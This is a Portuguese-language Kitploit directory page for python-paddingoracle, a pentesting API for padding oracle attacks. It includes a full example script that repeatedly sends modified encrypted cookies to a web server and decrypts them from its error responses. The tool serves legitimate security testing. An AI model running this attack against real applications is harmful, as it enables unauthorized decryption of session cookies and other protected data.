Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
python-paddingoracle — Uma API portátil de exploração de padding oracle | Kitploit
Ferramentas/GitHubGitHub/mwielgoszewski/python-paddingoracle
Ferramentas de Criptografia/DescriptografiaExploraçãoExploração de Aplicações WebCriptografiaTestes de Penetração
GitHubmwielgoszewski/python-paddingoracle

python-paddingoracle

Uma API portátil de exploração de padding oracle

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Site
3317313há 3 anosRevisado pelo Kitploit

python-paddingoracle: uma API portátil de exploração de padding oracle

ATUALIZADO PARA PYTHON 3

python-paddingoracle é uma API que fornece a pentesters uma alternativa personalizável ao PadBuster_ e a outras ferramentas de exploração de padding oracle que não podem ser facilmente (sem uma grande reescrita) usadas em cenários únicos e específicos de cada aplicação. Pense em aplicações não-HTTP, sockets brutos, aplicações cliente, codificações exclusivas, etc.

Uso:

Para usar a API paddingoracle, basta implementar o método oracle() da API PaddingOracle e lançar uma BadPaddingException quando o decriptador revelar um padding oracle. Para decriptar dados, passe os bytes criptografados brutos para decrypt() com um tamanho de bloco (normalmente 8 ou 16) e o parâmetro opcional iv.

Veja abaixo um exemplo (de the example_): ::

root@kitploit:~
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import quote, unquote
import requests
import socket
import time

class PadBuster(PaddingOracle):
    def __init__(self, **kwargs):
        super(PadBuster, self).__init__(**kwargs)
        self.session = requests.Session()
        self.wait = kwargs.get('wait', 2.0)

    def oracle(self, data, **kwargs):
        somecookie = quote(b64encode(data))
        self.session.cookies['somecookie'] = somecookie

        while 1:
            try:
                response = self.session.get('http://www.example.com/',
                        stream=False, timeout=5, verify=False)
                break
            except (socket.error, requests.exceptions.RequestException):
                logging.exception('Retrying request in %.2f seconds...',
                                  self.wait)
                time.sleep(self.wait)
                continue

        self.history.append(response)

        if response.ok:
            logging.debug('No padding exception raised on %r', somecookie)
            return

        # An HTTP 500 error was returned, likely due to incorrect padding
        raise BadPaddingException

if __name__ == '__main__':
    import logging
    import sys

    if not sys.argv[1:]:
        print('Usage: %s <somecookie value>' % (sys.argv[0], ))
        sys.exit(1)

    logging.basicConfig(level=logging.DEBUG)

    encrypted_cookie = b64decode(unquote(sys.argv[1]))

    padbuster = PadBuster()

    cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))

    print('Decrypted somecookie: %s => %r' % (sys.argv[1], cookie))

Créditos

python-paddingoracle é uma implementação em Python fortemente baseada no PadBuster_, um script automatizado para realizar ataques de Padding Oracle, desenvolvido por Brian Holyfield da Gotham Digital Science.

.. _the example: https://github.com/mwielgoszewski/python-paddingoracle/blob/master/example.py .. _PadBuster: https://github.com/GDSSecurity/PadBuster

Baixar ferramenta